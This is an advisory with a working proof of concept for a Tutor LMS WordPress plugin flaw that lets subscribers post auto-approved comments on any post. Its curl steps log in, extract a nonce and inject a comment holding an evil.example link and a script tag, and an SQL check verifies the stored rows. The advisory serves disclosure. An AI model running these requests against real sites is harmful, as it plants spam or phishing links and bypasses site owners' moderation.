Tutor LMS < 3.9.13 – Subscriber+ Arbitrary Auto-Approved Comment Creation | CVE 2026-12273

Description

The plugin does not perform any authorization or post-target validation before creating a comment in one of its handlers, and stores the comment pre-approved, allowing authenticated users with subscriber-level access and above to post auto-approved comments containing arbitrary HTML and links on any content across the site, bypassing the comment moderation queue.

Proof of Concept

Test environment: WordPress at http://localhost:8773, PHP 8.3.31, MariaDB, Tutor LMS 3.9.11, `DISALLOW_UNFILTERED_HTML` enabled, default Tutor LMS configuration (no special feature toggles). Attacker role: Subscriber (`sub1`, uid 5), not enrolled in any course.

### Step 1 - Log in as the low-privilege subscriber and store the session cookies

```
curl -c $JAR "http://localhost:8773/wp-login.php" -o /dev/null
curl -c $JAR -b $JAR \
  --data-urlencode "log=sub1" \
  --data-urlencode "pwd=Sp123!" \
  --data-urlencode "wp-submit=Log In" \
  --data-urlencode "testcookie=1" \
  --data-urlencode "redirect_to=http://localhost:8773/wp-admin/profile.php" \
  "http://localhost:8773/wp-login.php"
```

### Step 2 - Extract the _tutor_nonce a subscriber legitimately receives from the public frontend

```
NONCE=$(curl -s -b $JAR "http://localhost:8773/" \
  | grep -oE '"_tutor_nonce":"[a-f0-9]+"' | head -1 | sed -E 's/.*:"([^"]+)"/\1/')
# Observed nonce: 07361f5024
```

### Step 3 (Vector 1) - Auto-approved comment on an ARBITRARY admin-owned post (id=13, a regular blog post, NOT a lesson)

```
curl -i -b $JAR "http://localhost:8773/wp-admin/admin-ajax.php" \
  --data-urlencode "action=tutor_create_lesson_comment" \
  --data-urlencode "_tutor_nonce=$NONCE" \
  --data-urlencode "comment_post_ID=13" \
  --data-urlencode "comment_parent=0" \
  --data-urlencode 'comment=PoC-F01-marker <a href=https://evil.example>click</a><script>alert(1)</script>'
# -> HTTP/1.1 200 OK   {"success":true,"data":{"html":"...data-lesson_id=\"13\"..."}}
```

### Step 4 (Vector 2) - Auto-approved comment on a NON-EXISTENT post (id=999999, orphan junk row)

```
curl -b $JAR "http://localhost:8773/wp-admin/admin-ajax.php" \
  --data-urlencode "action=tutor_create_lesson_comment" \
  --data-urlencode "_tutor_nonce=$NONCE" \
  --data-urlencode "comment_post_ID=999999" \
  --data-urlencode "comment_parent=0" \
  --data-urlencode 'comment=PoC-F01-orphan marker'
# -> HTTP 200 ; row inserted (comment_post_ID=999999, comment_approved=1)
```

### Control - No nonce (proves the nonce check is enforced; the bypass is that subscribers can freely obtain the nonce)

```
curl -b $JAR "http://localhost:8773/wp-admin/admin-ajax.php" \
  --data-urlencode "action=tutor_create_lesson_comment" \
  --data-urlencode "comment_post_ID=13" \
  --data-urlencode "comment=PoC-F01-nononce"
# -> HTTP 200 but NO row inserted (checking_nonce() blocks the insert)
```

### Verify

```sql
SELECT comment_ID, comment_post_ID, user_id, comment_approved, comment_agent, comment_content
FROM wp_comments
WHERE comment_content LIKE 'PoC-F01%';
```

Observed rows:

| comment_ID | comment_post_ID | user_id | comment_approved | comment_agent | comment_content |
|---|---|---|---|---|---|
| 2 | 13 | 5 | 1 | Tutor | `PoC-F01-marker <a href="https://evil.example">click</a>` (script stripped) |
| 3 | 999999 | 5 | 1 | Tutor | `PoC-F01-orphan marker` |

`comment_approved = 1` (auto-approved, no moderation), `user_id = 5` (the subscriber), `comment_post_ID = 13` is an admin-owned (`post_author=1`) regular blog post the subscriber has no relationship to. The `<a href>` hyperlink is persisted; the `<script>` tag is stripped by `wp_kses_post`.